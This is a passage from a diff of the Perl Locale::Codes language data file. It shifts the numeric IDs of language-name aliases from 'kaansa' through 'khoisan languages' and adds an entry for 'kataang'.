-      q(1755),
+      q(1754),
       q(0),
       ],
    q(kaansa) => [
-      q(2565),
+      q(2563),
       q(0),
       ],
    q(kaapor) => [
-      q(6912),
+      q(6911),
       q(1),
       ],
    q(kaapor sign language) => [
-      q(6871),
+      q(6870),
       q(1),
       ],
    q(kaba) => [
@@ -36039,23 +36001,23 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(kabardian) => [
-      q(0220),
+      q(0219),
       q(0),
       ],
    q(kabatei) => [
-      q(7368),
+      q(7365),
       q(0),
       ],
    q(kabiye) => [
-      q(3197),
+      q(3195),
       q(0),
       ],
    q(kabola) => [
-      q(3451),
+      q(3450),
       q(0),
       ],
    q(kabore one) => [
-      q(5268),
+      q(5264),
       q(0),
       ],
    q(kabras) => [
@@ -36067,51 +36029,51 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(kabutra) => [
-      q(3202),
+      q(3200),
       q(0),
       ],
    q(kabuverdianu) => [
-      q(3256),
+      q(3254),
       q(0),
       ],
    q(kabwa) => [
-      q(1918),
+      q(1917),
       q(0),
       ],
    q(kabwari) => [
-      q(3230),
+      q(3228),
       q(0),
       ],
    q(kabyle) => [
-      q(0210),
+      q(0209),
       q(0),
       ],
    q(kachama-ganjule) => [
-      q(3231),
+      q(3229),
       q(0),
       ],
    q(kachari) => [
-      q(7261),
+      q(7259),
       q(0),
       ],
    q(kachhi) => [
-      q(3299),
+      q(3297),
       q(0),
       ],
    q(kachi koli) => [
-      q(2530),
+      q(2528),
       q(0),
       ],
    q(kachin) => [
-      q(0211),
+      q(0210),
       q(0),
       ],
    q(kacipo-balesi) => [
-      q(3505),
+      q(3504),
       q(0),
       ],
    q(kaco') => [
-      q(7364),
+      q(7361),
       q(0),
       ],
    q(kadai) => [
@@ -36119,23 +36081,23 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(kadar) => [
-      q(3265),
+      q(3263),
       q(0),
       ],
    q(kadaru) => [
-      q(3251),
+      q(3249),
       q(0),
       ],
    q(kadazan dusun) => [
-      q(2159),
+      q(2158),
       q(0),
       ],
    q(kadiweu) => [
-      q(3186),
+      q(3184),
       q(0),
       ],
    q(kadu) => [
-      q(7845),
+      q(7842),
       q(0),
       ],
    q(kaduo) => [
@@ -36143,51 +36105,51 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(kaera) => [
-      q(3107),
+      q(3105),
       q(0),
       ],
    q(kafa) => [
-      q(3199),
+      q(3197),
       q(0),
       ],
    q(kafoa) => [
-      q(3538),
+      q(3537),
       q(0),
       ],
    q(kagan kalagan) => [
-      q(3437),
+      q(3436),
       q(0),
       ],
    q(kagate) => [
-      q(6332),
+      q(6333),
       q(0),
       ],
    q(kagayanen) => [
-      q(1713),
+      q(1712),
       q(0),
       ],
    q(kagoma) => [
-      q(3245),
+      q(3243),
       q(0),
       ],
    q(kagoro) => [
-      q(7361),
+      q(7358),
       q(0),
       ],
    q(kagulu) => [
-      q(3408),
+      q(3407),
       q(0),
       ],
    q(kahe) => [
-      q(2764),
+      q(2762),
       q(0),
       ],
    q(kahua) => [
-      q(0674),
+      q(0673),
       q(0),
       ],
    q(kaian) => [
-      q(3227),
+      q(3225),
       q(0),
       ],
    q(kaibobo) => [
@@ -36199,15 +36161,15 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(kaiep) => [
-      q(3204),
+      q(3202),
       q(0),
       ],
    q(kaikadi) => [
-      q(3271),
+      q(3269),
       q(0),
       ],
    q(kaikavian literary language) => [
-      q(3396),
+      q(3395),
       q(0),
       ],
    q(kaike) => [
@@ -36215,23 +36177,23 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(kaiku) => [
-      q(3416),
+      q(3415),
       q(0),
       ],
    q(kaimbe) => [
-      q(7265),
+      q(7263),
       q(0),
       ],
    q(kaimbulawa) => [
-      q(7843),
+      q(7840),
       q(0),
       ],
    q(kaingang) => [
-      q(3320),
+      q(3319),
       q(0),
       ],
    q(kairak) => [
-      q(1758),
+      q(1757),
       q(0),
       ],
    q(kairiru) => [
@@ -36239,7 +36201,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(kairui-midiki) => [
-      q(3572),
+      q(3571),
       q(0),
       ],
    q(kais) => [
@@ -36247,11 +36209,11 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(kaivi) => [
-      q(3212),
+      q(3210),
       q(0),
       ],
    q(kaiwa) => [
-      q(3315),
+      q(3314),
       q(0),
       ],
    q(kaiy) => [
@@ -36259,27 +36221,27 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(kajakse) => [
-      q(1757),
+      q(1756),
       q(0),
       ],
    q(kajali) => [
-      q(7363),
+      q(7360),
       q(0),
       ],
    q(kajaman) => [
-      q(3173),
+      q(3171),
       q(0),
       ],
    q(kakabai) => [
-      q(3549),
+      q(3548),
       q(0),
       ],
    q(kakabe) => [
-      q(3404),
+      q(3403),
       q(0),
       ],
    q(kakanda) => [
-      q(3400),
+      q(3399),
       q(0),
       ],
    q(kaki ae) => [
@@ -36287,23 +36249,23 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(kako) => [
-      q(3409),
+      q(3408),
       q(0),
       ],
    q(kakwa) => [
-      q(3270),
+      q(3268),
       q(0),
       ],
    q(kala) => [
-      q(3219),
+      q(3217),
       q(1),
       ],
    q(kala lagaw ya) => [
-      q(4630),
+      q(4629),
       q(0),
       ],
    q(kalaallisut) => [
-      q(0212),
+      q(0211),
       q(0),
       ],
    q(kalaamaya) => [
@@ -36315,7 +36277,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(kalabari) => [
-      q(2934),
+      q(2931),
       q(0),
       ],
    q(kalabra) => [
@@ -36323,39 +36285,39 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(kalagan) => [
-      q(3548),
+      q(3547),
       q(0),
       ],
    q(kalaktang monpa) => [
-      q(3405),
+      q(3404),
       q(0),
       ],
    q(kalam) => [
-      q(3458),
+      q(3457),
       q(0),
       ],
    q(kalami) => [
-      q(2678),
+      q(2676),
       q(0),
       ],
    q(kalamse) => [
-      q(3501),
+      q(3500),
       q(0),
       ],
    q(kalanadi) => [
-      q(7134),
+      q(7132),
       q(0),
       ],
    q(kalanga) => [
-      q(3218),
+      q(3216),
       q(0),
       ],
    q(kalanguya) => [
-      q(3177),
+      q(3175),
       q(0),
       ],
    q(kalao) => [
-      q(3450),
+      q(3449),
       q(0),
       ],
    q(kalapuya) => [
@@ -36363,23 +36325,23 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(kalarko) => [
-      q(3184),
+      q(3182),
       q(0),
       ],
    q(kalasha) => [
-      q(3444),
+      q(3443),
       q(0),
       ],
    q(kalenjin) => [
-      q(3439),
+      q(3438),
       q(0),
       ],
    q(kalispel-pend d'oreille) => [
-      q(2350),
+      q(2349),
       q(0),
       ],
    q(kalkoti) => [
-      q(7355),
+      q(7352),
       q(0),
       ],
    q(kalkutung) => [
@@ -36387,51 +36349,51 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(kalmyk) => [
-      q(0471),
+      q(0470),
       q(0),
       ],
    q(kalo finnish romani) => [
-      q(5800),
+      q(5799),
       q(0),
       ],
    q(kalou) => [
-      q(7770),
+      q(7767),
       q(0),
       ],
    q(kaluli) => [
-      q(1079),
+      q(1078),
       q(0),
       ],
    q(kalumpang) => [
-      q(3434),
+      q(3433),
       q(0),
       ],
    q(kam) => [
-      q(3253),
+      q(3251),
       q(0),
       ],
    q(kamakan) => [
-      q(6996),
+      q(6995),
       q(0),
       ],
    q(kamang) => [
-      q(7189),
+      q(7187),
       q(0),
       ],
    q(kamano) => [
-      q(3198),
+      q(3196),
       q(0),
       ],
    q(kamantan) => [
-      q(3216),
+      q(3214),
       q(0),
       ],
    q(kamar) => [
-      q(3272),
+      q(3270),
       q(0),
       ],
    q(kamara) => [
-      q(3122),
+      q(3120),
       q(0),
       ],
    q(kamarian) => [
@@ -36439,19 +36401,19 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(kamaru) => [
-      q(3328),
+      q(3327),
       q(0),
       ],
    q(kamas) => [
-      q(7274),
+      q(7272),
       q(0),
       ],
    q(kamasa) => [
-      q(3441),
+      q(3440),
       q(0),
       ],
    q(kamasau) => [
-      q(3469),
+      q(3468),
       q(0),
       ],
    q(kamayo) => [
@@ -36459,15 +36421,15 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(kamayura) => [
-      q(3183),
+      q(3181),
       q(0),
       ],
    q(kamba) => [
-      q(0213),
+      q(0212),
       q(0),
       ],
    q(kamba (kenya)) => [
-      q(0213),
+      q(0212),
       q(1),
       ],
    q(kambaata) => [
@@ -36479,91 +36441,91 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(kambera) => [
-      q(7291),
+      q(7289),
       q(0),
       ],
    q(kamberau) => [
-      q(2992),
+      q(2989),
       q(0),
       ],
    q(kambiwa) => [
-      q(7292),
+      q(7290),
       q(0),
       ],
    q(kami (nigeria)) => [
-      q(3459),
+      q(3458),
       q(0),
       ],
    q(kami (tanzania)) => [
-      q(3228),
+      q(3226),
       q(0),
       ],
    q(kamo) => [
-      q(3224),
+      q(3222),
       q(0),
       ],
    q(kamoro) => [
-      q(3321),
+      q(3320),
       q(0),
       ],
    q(kamta) => [
-      q(5793),
+      q(5792),
       q(1),
       ],
    q(kamu) => [
-      q(7411),
+      q(7408),
       q(0),
       ],
    q(kamula) => [
-      q(7379),
+      q(7376),
       q(0),
       ],
    q(kamviri) => [
-      q(7529),
+      q(7526),
       q(0),
       ],
    q(kamwe) => [
-      q(2754),
+      q(2752),
       q(0),
       ],
    q(kanakanabu) => [
-      q(7418),
+      q(7415),
       q(0),
       ],
    q(kanamari) => [
-      q(3488),
+      q(3487),
       q(0),
       ],
    q(kanan) => [
-      q(7849),
+      q(7846),
       q(0),
       ],
    q(kanashi) => [
-      q(7426),
+      q(7423),
       q(0),
       ],
    q(kanasi) => [
-      q(6158),
+      q(6159),
       q(0),
       ],
    q(kanauji) => [
-      q(1239),
+      q(1238),
       q(0),
       ],
    q(kandas) => [
-      q(3566),
+      q(3565),
       q(0),
       ],
    q(kandawo) => [
-      q(2407),
+      q(2406),
       q(0),
       ],
    q(kande) => [
-      q(3200),
+      q(3198),
       q(0),
       ],
    q(kanembu) => [
-      q(3193),
+      q(3191),
       q(0),
       ],
    q(kang) => [
@@ -36571,15 +36533,15 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(kanga) => [
-      q(3223),
+      q(3221),
       q(0),
       ],
    q(kangean) => [
-      q(3421),
+      q(3420),
       q(0),
       ],
    q(kanggape) => [
-      q(2921),
+      q(2918),
       q(0),
       ],
    q(kangjia) => [
@@ -36595,7 +36557,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(kangri) => [
-      q(7425),
+      q(7422),
       q(0),
       ],
    q(kaniet) => [
@@ -36603,11 +36565,11 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(kanikkaran) => [
-      q(3277),
+      q(3275),
       q(0),
       ],
    q(kaningdon-nindem) => [
-      q(3247),
+      q(3245),
       q(0),
       ],
    q(kaningi) => [
@@ -36615,39 +36577,39 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(kaningra) => [
-      q(3493),
+      q(3492),
       q(0),
       ],
    q(kaninuwa) => [
-      q(7056),
+      q(7055),
       q(0),
       ],
    q(kanite) => [
-      q(3471),
+      q(3470),
       q(0),
       ],
    q(kanjari) => [
-      q(3301),
+      q(3299),
       q(0),
       ],
    q(kanjobal) => [
-      q(3376),
+      q(3375),
       q(1),
       ],
    q(kanju) => [
-      q(3187),
+      q(3185),
       q(0),
       ],
    q(kankanaey) => [
-      q(3481),
+      q(3480),
       q(0),
       ],
    q(kannada) => [
-      q(0214),
+      q(0213),
       q(0),
       ],
    q(kannada kurumba) => [
-      q(3290),
+      q(3288),
       q(0),
       ],
    q(kanoe) => [
@@ -36663,43 +36625,43 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(kantosi) => [
-      q(7372),
+      q(7369),
       q(0),
       ],
    q(kanu) => [
-      q(3349),
+      q(3348),
       q(0),
       ],
    q(kanufi) => [
-      q(3484),
+      q(3483),
       q(0),
       ],
    q(kanuri) => [
-      q(0217),
+      q(0216),
       q(0),
       ],
    q(kanyok) => [
-      q(3500),
+      q(3499),
       q(0),
       ],
    q(kao) => [
-      q(3182),
+      q(3180),
       q(0),
       ],
    q(kaonde) => [
-      q(3557),
+      q(3556),
       q(0),
       ],
    q(kap) => [
-      q(7654),
+      q(7651),
       q(0),
       ],
    q(kapampangan) => [
-      q(0338),
+      q(0337),
       q(1),
       ],
    q(kapauri) => [
-      q(3341),
+      q(3340),
       q(1),
       ],
    q(kapin) => [
@@ -36707,39 +36669,39 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(kapinawa) => [
-      q(7450),
+      q(7447),
       q(0),
       ],
    q(kapingamarangi) => [
-      q(3525),
+      q(3524),
       q(0),
       ],
    q(kapori) => [
-      q(3341),
+      q(3340),
       q(0),
       ],
    q(kapriman) => [
-      q(2065),
+      q(2064),
       q(0),
       ],
    q(kaptiau) => [
-      q(3190),
+      q(3188),
       q(0),
       ],
    q(kapya) => [
-      q(3440),
+      q(3439),
       q(0),
       ],
    q(kaqchikel) => [
-      q(1646),
+      q(1645),
       q(0),
       ],
    q(kara (central african republic)) => [
-      q(3174),
+      q(3172),
       q(0),
       ],
    q(kara (korea)) => [
-      q(7926),
+      q(7923),
       q(0),
       ],
    q(kara (papua new guinea)) => [
@@ -36747,43 +36709,43 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(kara (tanzania)) => [
-      q(5758),
+      q(5756),
       q(0),
       ],
    q(kara-kalpak) => [
-      q(0209),
+      q(0208),
       q(0),
       ],
    q(karachay-balkar) => [
-      q(0235),
+      q(0234),
       q(0),
       ],
    q(karadjeri) => [
-      q(2420),
+      q(2419),
       q(0),
       ],
    q(karagas) => [
-      q(3363),
+      q(3362),
       q(0),
       ],
    q(karaim) => [
-      q(3249),
+      q(3247),
       q(0),
       ],
    q(karaja) => [
-      q(3528),
+      q(3527),
       q(0),
       ],
    q(karakhanid) => [
-      q(7459),
+      q(7456),
       q(0),
       ],
    q(karami) => [
-      q(7273),
+      q(7271),
       q(0),
       ],
    q(karamojong) => [
-      q(3242),
+      q(3240),
       q(0),
       ],
    q(karang) => [
@@ -36795,7 +36757,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(karankawa) => [
-      q(7848),
+      q(7845),
       q(0),
       ],
    q(karao) => [
@@ -36803,43 +36765,43 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(karas) => [
-      q(3326),
+      q(3325),
       q(0),
       ],
    q(karata) => [
-      q(3537),
+      q(3536),
       q(0),
       ],
    q(karawa) => [
-      q(7473),
+      q(7470),
       q(0),
       ],
    q(karbi) => [
-      q(4333),
+      q(4332),
       q(0),
       ],
    q(kare (central african republic)) => [
-      q(3195),
+      q(3193),
       q(0),
       ],
    q(kare (papua new guinea)) => [
-      q(3456),
+      q(3455),
       q(0),
       ],
    q(karekare) => [
-      q(3175),
+      q(3173),
       q(0),
       ],
    q(karelian) => [
-      q(0236),
+      q(0235),
       q(0),
       ],
    q(karen languages) => [
-      q(0215),
+      q(0214),
       q(0),
       ],
    q(karenggapa) => [
-      q(2208),
+      q(2207),
       q(0),
       ],
    q(karey) => [
@@ -36847,19 +36809,19 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(kari) => [
-      q(3191),
+      q(3189),
       q(0),
       ],
    q(karingani) => [
-      q(3318),
+      q(3317),
       q(0),
       ],
    q(karipuna) => [
-      q(3317),
+      q(3316),
       q(0),
       ],
    q(karipuna creole french) => [
-      q(3472),
+      q(3471),
       q(0),
       ],
    q(kariri-xoco) => [
@@ -36871,31 +36833,31 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(kariya) => [
-      q(3362),
+      q(3361),
       q(0),
       ],
    q(kariyarra) => [
-      q(6991),
+      q(6990),
       q(0),
       ],
    q(karkar-yuri) => [
-      q(7755),
+      q(7752),
       q(0),
       ],
    q(karkin) => [
-      q(3571),
+      q(3570),
       q(0),
       ],
    q(karko) => [
-      q(3414),
+      q(3413),
       q(0),
       ],
    q(karnai) => [
-      q(1060),
+      q(1059),
       q(0),
       ],
    q(karo (brazil)) => [
-      q(0879),
+      q(0878),
       q(0),
       ],
    q(karo (ethiopia)) => [
@@ -36911,15 +36873,15 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(karon dori) => [
-      q(3327),
+      q(3326),
       q(0),
       ],
    q(karore) => [
-      q(7376),
+      q(7373),
       q(0),
       ],
    q(karranga) => [
-      q(7469),
+      q(7466),
       q(0),
       ],
    q(karuwali) => [
@@ -36927,23 +36889,23 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(kasanga) => [
-      q(1683),
+      q(1682),
       q(0),
       ],
    q(kasem) => [
-      q(7482),
+      q(7479),
       q(0),
       ],
    q(kashaya) => [
-      q(3395),
+      q(3394),
       q(0),
       ],
    q(kashmiri) => [
-      q(0216),
+      q(0215),
       q(0),
       ],
    q(kashubian) => [
-      q(0100),
+      q(0099),
       q(0),
       ],
    q(kasiguranin) => [
@@ -36951,15 +36913,19 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(kaska) => [
-      q(3425),
+      q(3424),
       q(0),
       ],
    q(kaskean) => [
-      q(7933),
+      q(7930),
       q(0),
       ],
    q(kasua) => [
-      q(3344),
+      q(3343),
+      q(0),
+      ],
+   q(kataang) => [
+      q(3308),
       q(0),
       ],
    q(katabaga) => [
@@ -36967,7 +36933,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(katawixi) => [
-      q(7275),
+      q(7273),
       q(0),
       ],
    q(katbol) => [
@@ -36975,11 +36941,11 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(katcha-kadugli-miri) => [
-      q(7494),
+      q(7491),
       q(0),
       ],
    q(kate) => [
-      q(3457),
+      q(3456),
       q(0),
       ],
    q(kathoriya tharu) => [
@@ -36987,19 +36953,19 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(kathu) => [
-      q(7658),
+      q(7655),
       q(0),
       ],
    q(kati) => [
-      q(1453),
+      q(1452),
       q(0),
       ],
    q(katkari) => [
-      q(3302),
+      q(3300),
       q(0),
       ],
    q(katla) => [
-      q(3225),
+      q(3223),
       q(0),
       ],
    q(kato) => [
@@ -37007,7 +36973,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(katso) => [
-      q(3172),
+      q(3170),
       q(0),
       ],
    q(katua) => [
@@ -37015,31 +36981,31 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(katukina) => [
-      q(3181),
+      q(3179),
       q(0),
       ],
    q(kaulong) => [
-      q(5615),
+      q(5612),
       q(0),
       ],
    q(kaur) => [
-      q(6994),
+      q(6993),
       q(0),
       ],
    q(kaure) => [
-      q(1387),
+      q(1386),
       q(0),
       ],
    q(kaurna) => [
-      q(7854),
+      q(7851),
       q(0),
       ],
    q(kauwera) => [
-      q(7276),
+      q(7274),
       q(0),
       ],
    q(kavalan) => [
-      q(1762),
+      q(1761),
       q(0),
       ],
    q(kavet) => [
@@ -37047,19 +37013,19 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(kawacha) => [
-      q(3209),
+      q(3207),
       q(0),
       ],
    q(kawaiisu) => [
-      q(7278),
+      q(7276),
       q(0),
       ],
    q(kawe) => [
-      q(3309),
+      q(3307),
       q(0),
       ],
    q(kawi) => [
-      q(0218),
+      q(0217),
       q(0),
       ],
    q(kaxarari) => [
@@ -37067,7 +37033,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(kaxuiana) => [
-      q(3185),
+      q(3183),
       q(0),
       ],
    q(kayabi) => [
@@ -37079,19 +37045,19 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(kayan) => [
-      q(5399),
+      q(5395),
       q(0),
       ],
    q(kayan mahakam) => [
-      q(7279),
+      q(7277),
       q(0),
       ],
    q(kayan river kayan) => [
-      q(7366),
+      q(7363),
       q(0),
       ],
    q(kayapa kallahan) => [
-      q(3177),
+      q(3175),
       q(1),
       ],
    q(kayapo) => [
@@ -37099,7 +37065,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(kayardild) => [
-      q(2694),
+      q(2692),
       q(0),
       ],
    q(kayaw) => [
@@ -37119,7 +37085,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(kaytetye) => [
-      q(2419),
+      q(2418),
       q(0),
       ],
    q(kayupulau) => [
@@ -37127,7 +37093,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(kazakh) => [
-      q(0219),
+      q(0218),
       q(0),
       ],
    q(kazukuru) => [
@@ -37135,19 +37101,19 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(ke'o) => [
-      q(7546),
+      q(7543),
       q(0),
       ],
    q(keak) => [
-      q(3263),
+      q(3261),
       q(0),
       ],
    q(keapara) => [
-      q(3351),
+      q(3350),
       q(0),
       ],
    q(kedah malay) => [
-      q(4206),
+      q(4205),
       q(0),
       ],
    q(kedang) => [
@@ -37155,43 +37121,43 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(keder) => [
-      q(3254),
+      q(3252),
       q(0),
       ],
    q(kehu) => [
-      q(3336),
+      q(3335),
       q(0),
       ],
    q(kei) => [
-      q(3264),
+      q(3262),
       q(0),
       ],
    q(keiga) => [
-      q(3258),
+      q(3256),
       q(0),
       ],
    q(keijar) => [
-      q(3254),
+      q(3252),
       q(1),
       ],
    q(kein) => [
-      q(1310),
+      q(1309),
       q(0),
       ],
    q(keiyo) => [
-      q(2316),
+      q(2315),
       q(0),
       ],
    q(kekchi) => [
-      q(3266),
+      q(3264),
       q(0),
       ],
    q(kela (democratic republic of congo)) => [
-      q(3267),
+      q(3265),
       q(0),
       ],
    q(kela (papua new guinea)) => [
-      q(3219),
+      q(3217),
       q(0),
       ],
    q(kelabit) => [
@@ -37199,11 +37165,11 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(kele) => [
-      q(3257),
+      q(3255),
       q(0),
       ],
    q(kele (democratic republic of congo)) => [
-      q(3350),
+      q(3349),
       q(0),
       ],
    q(kele (papua new guinea)) => [
@@ -37211,19 +37177,19 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(kelengazxo bozo) => [
-      q(1635),
+      q(1634),
       q(0),
       ],
    q(keley-i kallahan) => [
-      q(2916),
+      q(2913),
       q(0),
       ],
    q(keliko) => [
-      q(3196),
+      q(3194),
       q(0),
       ],
    q(kelo) => [
-      q(7318),
+      q(7315),
       q(0),
       ],
    q(kelon) => [
@@ -37231,51 +37197,51 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(kemak) => [
-      q(3268),
+      q(3266),
       q(0),
       ],
    q(kembayan) => [
-      q(7319),
+      q(7316),
       q(0),
       ],
    q(kemberano) => [
-      q(1627),
+      q(1626),
       q(0),
       ],
    q(kembra) => [
-      q(7375),
+      q(7372),
       q(0),
       ],
    q(kemedzung) => [
-      q(2085),
+      q(2084),
       q(0),
       ],
    q(kemi sami) => [
-      q(6051),
+      q(6050),
       q(0),
       ],
    q(kemiehua) => [
-      q(3291),
+      q(3289),
       q(0),
       ],
    q(kemtuik) => [
-      q(3470),
+      q(3469),
       q(0),
       ],
    q(kenaboi) => [
-      q(7288),
+      q(7286),
       q(0),
       ],
    q(kenati) => [
-      q(2414),
+      q(2413),
       q(0),
       ],
    q(kendayan) => [
-      q(3499),
+      q(3498),
       q(0),
       ],
    q(kendeje) => [
-      q(3431),
+      q(3430),
       q(0),
       ],
    q(kendem) => [
@@ -37291,23 +37257,23 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(keninjal) => [
-      q(3487),
+      q(3486),
       q(0),
       ],
    q(kensiu) => [
-      q(3494),
+      q(3493),
       q(0),
       ],
    q(kenswei nsei) => [
-      q(4778),
+      q(4776),
       q(0),
       ],
    q(kenyan sign language) => [
-      q(7362),
+      q(7359),
       q(0),
       ],
    q(kenyang) => [
-      q(3269),
+      q(3267),
       q(0),
       ],
    q(kenyi) => [
@@ -37315,15 +37281,15 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(kenzi) => [
-      q(7430),
+      q(7427),
       q(0),
       ],
    q(keoru-ahia) => [
-      q(7324),
+      q(7321),
       q(0),
       ],
    q(kepkiriwat) => [
-      q(3532),
+      q(3531),
       q(0),
       ],
    q(kepo') => [
@@ -37331,23 +37297,23 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(kera) => [
-      q(3273),
+      q(3271),
       q(0),
       ],
    q(kerak) => [
-      q(2748),
+      q(2746),
       q(0),
       ],
    q(kereho) => [
-      q(7359),
+      q(7356),
       q(0),
       ],
    q(kerek) => [
-      q(3578),
+      q(3577),
       q(0),
       ],
    q(kerewe) => [
-      q(3259),
+      q(3257),
       q(0),
       ],
    q(kerewo) => [
@@ -37359,23 +37325,23 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(kesawai) => [
-      q(7322),
+      q(7319),
       q(0),
       ],
    q(ket) => [
-      q(3275),
+      q(3273),
       q(0),
       ],
    q(ketangalan) => [
-      q(3171),
+      q(3169),
       q(0),
       ],
    q(kete) => [
-      q(3229),
+      q(3227),
       q(0),
       ],
    q(ketengban) => [
-      q(7496),
+      q(7493),
       q(0),
       ],
    q(ketum) => [
@@ -37387,31 +37353,31 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(kgalagadi) => [
-      q(7374),
+      q(7371),
       q(0),
       ],
    q(khakas) => [
-      q(3382),
+      q(3381),
       q(0),
       ],
    q(khalaj) => [
-      q(3380),
+      q(3379),
       q(0),
       ],
    q(khaling) => [
-      q(3443),
+      q(3442),
       q(0),
       ],
    q(khamba) => [
-      q(3188),
+      q(3186),
       q(0),
       ],
    q(khams tibetan) => [
-      q(3335),
+      q(3334),
       q(0),
       ],
    q(khamti) => [
-      q(3345),
+      q(3344),
       q(0),
       ],
    q(khamyang) => [
@@ -37419,31 +37385,31 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(khana) => [
-      q(5207),
+      q(5203),
       q(0),
       ],
    q(khandesi) => [
-      q(3340),
+      q(3339),
       q(0),
       ],
    q(khang) => [
-      q(3387),
+      q(3386),
       q(0),
       ],
    q(khanty) => [
-      q(3208),
+      q(3206),
       q(0),
       ],
    q(khao) => [
-      q(7270),
+      q(7268),
       q(0),
       ],
    q(kharam naga) => [
-      q(3304),
+      q(3302),
       q(0),
       ],
    q(kharia) => [
-      q(3343),
+      q(3342),
       q(0),
       ],
    q(kharia thar) => [
@@ -37451,7 +37417,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(khasi) => [
-      q(0221),
+      q(0220),
       q(0),
       ],
    q(khayo) => [
@@ -37459,11 +37425,11 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(khazar) => [
-      q(7856),
+      q(7853),
       q(0),
       ],
    q(khe) => [
-      q(3550),
+      q(3549),
       q(0),
       ],
    q(khehek) => [
@@ -37471,23 +37437,23 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(khengkha) => [
-      q(7360),
+      q(7357),
       q(0),
       ],
    q(khetrani) => [
-      q(7340),
+      q(7337),
       q(0),
       ],
    q(khezha naga) => [
-      q(4922),
+      q(4920),
       q(0),
       ],
    q(khiamniungan naga) => [
-      q(3372),
+      q(3371),
       q(0),
       ],
    q(khinalugh) => [
-      q(3384),
+      q(3383),
       q(0),
       ],
    q(khirwar) => [
@@ -37495,7 +37461,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(khisa) => [
-      q(3556),
+      q(3555),
       q(0),
       ],
    q(khlor) => [
@@ -37503,27 +37469,27 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(khlula) => [
-      q(7653),
+      q(7650),
       q(0),
       ],
    q(khmu) => [
-      q(3381),
+      q(3380),
       q(0),
       ],
    q(kho'ini) => [
-      q(7357),
+      q(7354),
       q(0),
       ],
    q(khoekhoe) => [
-      q(4724),
+      q(4723),
       q(0),
       ],
    q(khoibu naga) => [
-      q(4916),
+      q(4914),
       q(0),
       ],
    q(khoisan languages) => [
-      q(0222),
+      q(0221),
